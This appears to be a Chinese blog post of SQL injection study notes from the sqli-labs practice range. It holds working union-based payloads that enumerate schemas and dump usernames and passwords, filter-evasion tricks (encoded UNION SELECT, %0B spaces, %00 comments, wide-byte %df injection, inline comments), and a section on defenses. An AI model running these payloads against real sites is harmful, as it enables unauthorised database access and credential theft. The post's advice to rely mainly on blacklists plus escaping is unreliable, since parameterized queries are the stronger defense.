sql注入-tips

爆破语句

1
2
3
4
5
6
7
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1 库

?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1 表

?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 and '1'='1 列

?id=-1' union select 1,(select group_concat('~',username,password) from security.users ),3 and '1'='1 字段

注释

其实注释本来的作用也就是闭合语句

;%00代替–+进行注释

闭合就是针对输入的,一般会对输入的参数再加上一对单引号

括号判断

小括号判断:2’ and ‘1’=’1 如果有括号,回显为id=1页面

没括号则是id=2页面

image-20230523131633798

image-20230523131638108

union select 绕过

union select绕过 ://UNION//SELECT/**/

%75%6e%6f%69%6e %73%65%6c%65%63%74

[SQL注入绕过关键词过滤的小技巧及原理(union select为例)_sql注入关键字过滤绕过_桑榆__的博客-CSDN博客](https://blog.csdn.net/weixin_54848371/article/details/120423529?ops_request_misc=%7B%22request%5Fid%22%3A%22167955372116800192238946%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=167955372116800192238946&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-120423529-null-null.142^v76^insert_down38,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=union select绕过&spm=1018.2226.3001.4187)

空格、注释绕过

空格绕过:%0B代替空格,括号绕过 and(1=0)

注释绕过:用单引号闭合替代注释或者使用**;%00替代**。

例如:?id=1’ union select 1,2,3 and ‘1’=’1

引号被注释

闭合的用%df来(宽字节),字符串值处用16进制来

mysql_real_escape_string() 函数

用来转义 SQL 语句中使用的字符串中的特殊字符。如果成功,则该函数返回被转义的字符串(即在字符前加”")。如果失败,则返回 false。

宽字节注入%df

slilabs靶场记录宽字节绕过(七)_mysql_real_escape_string 绕过_wanan0red的博客-CSDN博客

  • 宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入。
  • addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

uname=%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) #&passwd=1&submit=Submit (字符串附近的引号用%df不行,所以将值转化为十六进制,0x…)

image-20230523132005607

宽字节注入的防御:

image-20230523132040435

limit 0,1

[MySQL 分页查询limit性能缺陷和优化方案_limit性能问题_西瓜游侠的博客-CSDN博客](https://blog.csdn.net/hbtj_1216/article/details/117190087?ops_request_misc=&request_id=&biz_id=102&utm_term=mysql limit漏洞&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-2-117190087.142^v80^insert_down38,201^v4^add_ask,239^v2^insert_chatgpt&spm=1018.2226.3001.4187)

limit m,n

其中,m是偏移量,n是要查询的数量。

当偏移量m过大的时候,查询效率会很低。因为MySQL是先查出m+n个数据,然后抛弃掉前m个数据。

limit 0,1从第一行开始,返回一行

limit 1,1从第二行开始,返回一行

limit 2,1从第三行开始,返回一行

image-20230523132214461

image-20230523132219086

防御

  1. 参数化查询(数据库服务器在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有有损的指令,也不会被数据库所运行,仅认为它是一个参数。),最好设定传入参数类型,比如是否是数字,is_numeric($_GET[‘id’]) ,这样就限制了字符的输入。

  2. 参数长度限制,在PHP下,可用strlen函数检查输入长度

  3. 函数过滤转义,如addslashes(),它转义一些特殊字符

  4. 预编译语句,即将要执行的sql语句固定下来,将所传入的参数绑定为一个变量,用”?”表示。

    query="select password from users where username='admin' or 1=1 ";

    这样的话,admin’ or 1=1 将作为username的值,避免了sql语句的拼接闭合等非法操作。

危险参数过滤:

1)黑名单过滤:将一些可能用于注入的敏感字符写入黑名单中,如’(单引号)、union、select等,也可能使用正则表达式做过滤,但黑名单可能会有疏漏。

2)白名单过滤:例如,用数据库中的已知值校对,通常对参数结果进行合法性校验,符合白名单的数据方可显示。

3)参数转义:对变量默认进行addsalashes(在预定义字符前添加反斜杠),使得SQL注入语句构造失败。

由于白名单方式要求输出参数有着非常明显的特点,因此适用的业务场景非常有限。总体来说,防护手段仍建议以黑名单+参数转义方式为主,这也是目前针对SQL敏感参数处理的主要方式,以下逐项进行分析。

内敛执行

select/*!user*/ from users;

参考Zero_Adam

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信